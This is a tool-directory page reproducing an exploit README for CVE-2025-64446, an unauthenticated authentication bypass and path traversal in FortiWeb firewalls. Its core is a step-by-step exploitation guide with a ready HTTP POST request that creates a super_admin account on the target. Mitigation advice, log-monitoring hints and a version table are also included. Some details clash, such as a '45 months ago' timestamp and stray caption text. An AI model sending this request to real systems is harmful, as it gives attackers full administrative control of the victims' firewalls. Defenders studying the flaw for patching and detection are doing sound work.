Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-64446 — CVE-2025-64446 | Kitploit
Tools/GitHubGitHub/0xblackash/cve-2025-64446
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHub0xblackash/cve-2025-64446

CVE-2025-64446

CVE-2025-64446

View Repository
45 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛡️ CVE-2025-64446 - FortiWeb Critical Authentication Bypass & Path Traversal

Linux 6 15 Released (18) (1)

Severity Fortinet Exploited

Critical unauthenticated vulnerability allowing remote attackers to create administrator accounts on FortiWeb devices.


📌 Overview

CVE-2025-64446 is a severe relative path traversal vulnerability in the FortiWeb Web Application Firewall management interface.

An unauthenticated remote attacker can exploit this flaw to bypass authentication and create new administrator users with full privileges, leading to complete compromise of the device.

  • CVSS v3.1 Score: 9.8 (Critical)
  • Attack Type: Unauthenticated Remote
  • Impact: Full administrative takeover
  • Status: Actively exploited in the wild

🛠️ Affected Versions

Recommendation: Update to the latest patched version as soon as possible.


🔥 How Attackers Exploit This Vulnerability

Step-by-Step Exploitation

  1. Target Identification
    The attacker scans for publicly exposed FortiWeb management interfaces (usually on HTTPS port 443 or 8443).

  2. Crafting the Malicious Request
    The core of the exploit is a relative path traversal (../) combined with a specially crafted URL that reaches an internal unauthenticated CGI endpoint.

    Vulnerable Endpoint Pattern:

    root@kitploit:~
    /api/v2.0/cmdb/system/admin?.../../../../../../cgi-bin/fwbcgi
    
  3. Sending the Exploit

    The attacker sends a single POST request with JSON payload to create a new administrator account.

    Example Exploit Request:

    root@kitploit:~
    POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
    Host: target-fortiw eb.example.com
    Content-Type: application/json
    
    {
      "name": "hackedadmin",
      "password": "AttackerPass123!",
      "access_profile": "super_admin",
      "type": "local"
    }
    
  4. Successful Exploitation

    If successful, FortiWeb creates the new admin account without requiring any prior authentication. The attacker can then log in with the newly created credentials and gain full control of the WAF.

Why It Works

The management API fails to properly sanitize the path, allowing the request to traverse back to the legacy fwbcgi binary, which does not enforce authentication on certain operations.


📸 Screenshots

Fortinet0day 3 Fortinet0day Fortinet0day 1 Fortinet0day 2

🛡️ Mitigation & Best Practices

  • Immediately upgrade FortiWeb to a fixed version
  • Never expose the management interface directly to the internet
  • Use strong network segmentation and VPN for administrative access
  • Monitor logs for requests containing fwbcgi, ../, or unusual admin creation attempts
  • Regularly audit administrator accounts for suspicious entries

For educational and defensive security research purposes only.

Made with ❤️ for the cybersecurity community

Last updated: April 2026

Download Tool
ProductAffected VersionsFixed in Version
FortiWeb 8.08.0.0 – 8.0.18.0.2 and above
FortiWeb 7.67.6.0 – 7.6.47.6.5 and above
FortiWeb 7.47.4.0 – 7.4.97.4.10 and above
FortiWeb 7.27.2.0 – 7.2.117.2.12 and above
FortiWeb 7.07.0.0 – 7.0.117.0.12 and above